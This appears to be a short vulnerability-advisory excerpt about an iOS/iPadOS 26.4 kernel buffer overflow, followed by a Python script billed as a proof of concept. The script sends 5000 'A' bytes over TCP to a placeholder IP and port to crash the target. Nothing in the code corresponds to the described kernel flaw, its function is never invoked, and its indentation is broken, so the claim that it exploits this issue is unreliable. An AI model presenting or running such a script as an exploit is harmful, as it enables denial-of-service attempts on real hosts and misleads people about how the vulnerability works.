A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.4 and iPadOS 26.4. A remote user may be able to cause unexpected system termination or corrupt kernel memory.
The following code is for security research and authorized testing only.
python
import socket
import sys
# Target IP and Port (Hypothetical configuration for PoC)
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080
# Payload designed to trigger buffer overflow
# Sending a large pattern of 'A's to exceed the buffer size
payload = b'A' * 5000
def send_exploit():
try:
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_IP, TARGET_PORT))
print("[*] Sending malicious payload...")
s.send(payload)
print("[*] Payload sent. Check if the target device has crashed.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")
